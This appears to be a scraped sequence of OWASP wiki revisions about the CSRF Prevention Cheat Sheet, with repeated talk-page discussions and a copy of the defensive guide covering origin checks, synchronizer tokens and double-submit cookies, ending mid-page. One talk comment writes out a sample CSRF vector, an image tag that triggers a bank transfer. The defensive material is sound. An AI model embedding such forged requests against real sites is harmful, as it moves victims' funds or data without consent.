Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address, as changing the application on receiving GET requests will make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-05-30T14:11:05Z

Eelgheez: /* Origin/Referrer Check doesn't Work When the URL is Entered into the Browser */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario involves luring a victim user into a malicious site/vulerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address, as changing the application on receiving GET requests will make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

Talk:Mobile Top 10 2016-Top 10

2017-03-29T20:50:25Z

Eelgheez: +screen capture attack

== Screen capture attack ==
Which category would the screen capture attack fall into? <blockquote>We discovered that most of the mobile banking applications we examined do not use any protection mechanism to defeat the screenshot attacks. The experimental results of the Capture-Me attacks show the weakness of the (user id and password) as the only authentication mechanism used in many mobile banking applications. Our recommendation is that the mobile banking application should implement other authentication techniques such as the multi factor authentication in order to protect their users’ data and their system’s integrity.</blockquote> http://espace.etsmtl.ca/1498/1/EL-SERNGAWY_Mohamed.pdf --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 15:50, 29 March 2017 (CDT)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-28T14:34:07Z

Eelgheez: /* Identifying cross-origin requests */

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-27T15:02:29Z

Eelgheez: /* Identifying cross-origin requests */ Clarified

Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-20T14:53:36Z

Eelgheez: /* Double Submit Cookie */ +a limitation in the Double Submit Cookie guard

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.

Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).

For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.

__TOC__{{TOC hidden}}

== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==

[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses. This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.

= General Recommendations For Automated CSRF Defense =

We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.

# Check standard headers to verify the request is same origin
# AND Check CSRF token

Each of these is discussed next.

== Verifying Same Origin with Standard Headers ==

There are two steps to this check:

# Determining the origin the request is coming from (source origin)
# Determining the origin the request is going to (target origin)

Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.

The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.

=== Identifying Source Origin ===

To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:

* Origin Header
* Referer Header

==== Checking the Origin Header ====
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks. Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.

This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.

There are some situations where the Origin header is not present.
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone. The Referer header will remain the only indication of the UI origin.
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.

==== Checking the Referer Header ====
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state. This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token.

In both cases, just make sure the target origin check is strong. For example, if your site is "site.com" make sure "site.com.attacker.com" doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).

==== What to do when Both Origin and Referer Headers Aren't Present ====

If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.

=== Identifying the Target Origin ===

You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.

==== Determining the Target Origin When Behind a Proxy ====

If you are behind a proxy, there are a number of options to consider:

# Configure your application to simply know its target origin
# Use the Host header value
# Use the X-Forwarded-Host header value

Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.

If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.

However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.

=== Verifying the Two Origins Match ===

Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.

== CSRF Specific Defense ==

Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.

There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):

1. Synchronizer (i.e.,CSRF) Tokens (requires session state)

Approaches that do require no server side state:

2. Double Cookie Defense 
3. Encrypted Token Pattern 
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest

These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.

=== Synchronizer (CSRF) Tokens ===

* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks
* Characteristics of a CSRF Token
** Unique per user session
** Large random value
** Generated by a cryptographically secure random number generator
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET
* The server rejects the requested action if the CSRF token fails validation

In order to facilitate a "transparent but visible" CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random "challenge" tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.

When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as "CSRFToken". The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...
wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...
MGYwMGEwOA==">
…
</form>

In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.

To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the "Back" button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.

==== Existing Synchronizer Implementations ====

Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:

# For Java: OWASP [[CSRF Guard]]
# For PHP and Apache: [[CSRFProtector Project]]

==== Disclosure of Token in URL ====

Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.

In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.

The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.

In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to "HttpServletRequest.getParameter" will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.

For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.

==== ASP.NET, MVC and .NET Web Pages ====

.NET provides comprehensive CSRF defense. For more information visit the following resources.
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2
* http://software-security.sans.org/developer-how-to/developer-guide-csrf

=== Double Submit Cookie ===

If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match.

When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.

As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.

When the UI and the function service reside in different hosts, the Double Submit Cookie guard turns difficult to implement because the UI body and the Set-Cookie response header will be generated as part of different requests to different processes. The Set-Cookie response header would need to be induced by a request from the client javascript. In that case, making sure that both the UI and the service request came from a client serviced by the same UI origin appears as difficult as the original issue.

=== Encrypted Token Pattern ===

The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.

On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.

This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.

=== Protecting REST Services: Use of Custom Request Headers ===

Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.

A particularly attractive custom header and value to use is:
* X-Requested-With: XMLHttpRequest
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].

If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.

This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)

= Alternate CSRF Defense: Require User Interaction =

Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).

The following are some examples of challenge-response options:

*Re-Authentication (password or stronger)
*One-time Token
*CAPTCHA

While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.

An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.

* In Step 1: the user provides the email address and the amount of money they want to send.
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.
* In Step 2: the user confirms the proposed transaction.
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.

This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.

= Prevention Measures That Do NOT Work =

For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].

= Personal Safety CSRF Tips for Users =

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include:

* Logoff immediately after using a Web application
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing).
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit. This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually.

Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

= Authors and Primary Editors =

Dave Wichers - dave.wichers[at]owasp.org 
Paul Petefish - https://www.linkedin.com/in/paulpetefish 
Eric Sheridan - eric.sheridan[at]owasp.org 

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:Popular]]

Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-20T14:49:57Z

Eelgheez: /* Double Submit Cookie */ +a limitation in the Double Submit Cookie guard

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.

Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).

For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.

__TOC__{{TOC hidden}}

== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==

